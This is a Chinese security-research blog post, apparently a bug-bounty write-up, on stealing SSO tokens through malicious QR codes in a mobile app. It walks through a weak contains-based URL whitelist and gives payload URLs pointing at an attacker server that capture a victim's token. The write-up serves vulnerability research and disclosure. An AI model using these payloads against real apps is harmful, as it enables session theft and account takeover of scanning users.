SRC挖掘窃取SSO Token—攻击二维码（二）

免责声明：

本公众号致力于安全研究和红队攻防技术分享等内容，本文中所有涉及的内容均不针对任何厂商或个人，同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失，均由使用者本人承担。请遵守中华人民共和国相关法律法规，切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后，文中提及的图文若无意间导致了侵权问题，请在公众号后台私信联系作者，进行删除操作。

0x00 前言

上一篇二维码文章简单介绍了如何构造简单的二维码在webview内造成XSS，并且在特定场景下可以调用JAVA方法（文章链接：https://mp.weixin.qq.com/s/Bhy30wKAWVY4wwDmMZeywQ），本篇将继续介绍制作恶意二维码，窃取SSO Token的案例

0x01 定位扫码代码

某APP存在二维码扫码的功能点，登录的场景，对二维码进行解码

根据"RCE_LOGIN"特征在jadx内搜索

查找代码引用，发现扫码后有多个分支条件，对每个分支进行代码审计

注意到其中一个分支条件是二维码解码后若为http://或https://开头，再通过BankUrlUtils.isBankUrl判断待访问的URL是否在白名单内，若通过白名单校验则会获取SSO登录的token拼接到url里再请求

传入的URL是我们可控的，若我们传入的URL可以绕过白名单校验，则我们可以搭建一个服务端并且构造一个恶意二维码，他人扫我们构造的二维码后，我们可以通过服务端接收他的SSO token

0x02 绕过白名单校验

查看白名单校验的isBankUrl代码

可以看到校验逻辑很简单，从auth.getUrl()获取白名单，通过Constants.PACKAGE_NAME_END（其实就是分号）分割后，循环判断用户传入的URL是否包含白名单内的URL，只要包含了一个白名单内的URL，即可通过校验，auth.getUrl()是调用接口获取，这里不展开分析

到这里其实我们就可以构造绕过校验的payload了，假设白名单中存在URL是https://www.example.com，我们搭建的服务端地址是https://192.168.137.1:8443，只要白名单的URL被包含在我们传入的URL里即可，那么对应的payload

https://192.168.137.1:8443/?url=https://www.example.com

生成相应的二维码

已登录的用户使用APP扫码后我们可以获取到token，使用token可以通过SSO登录用户其他系统

以下配合URL特性的payload同样可以绕过白名单校验，且会访问到我们的服务端

https://[email protected]:8443/

0x03 总结

1.通过已有二维码解析出的字符串特征，定位扫码的代码，通常扫码后会有多个分支如登录、加入群组、打开页面，可以依次进行代码审计

2.二维码解码后存在白名单校验时，可以进一步分析白名单校验的方法是否有问题

原文始发于微信公众号（Lambda小队）：SRC挖掘窃取SSO Token—攻击二维码（二）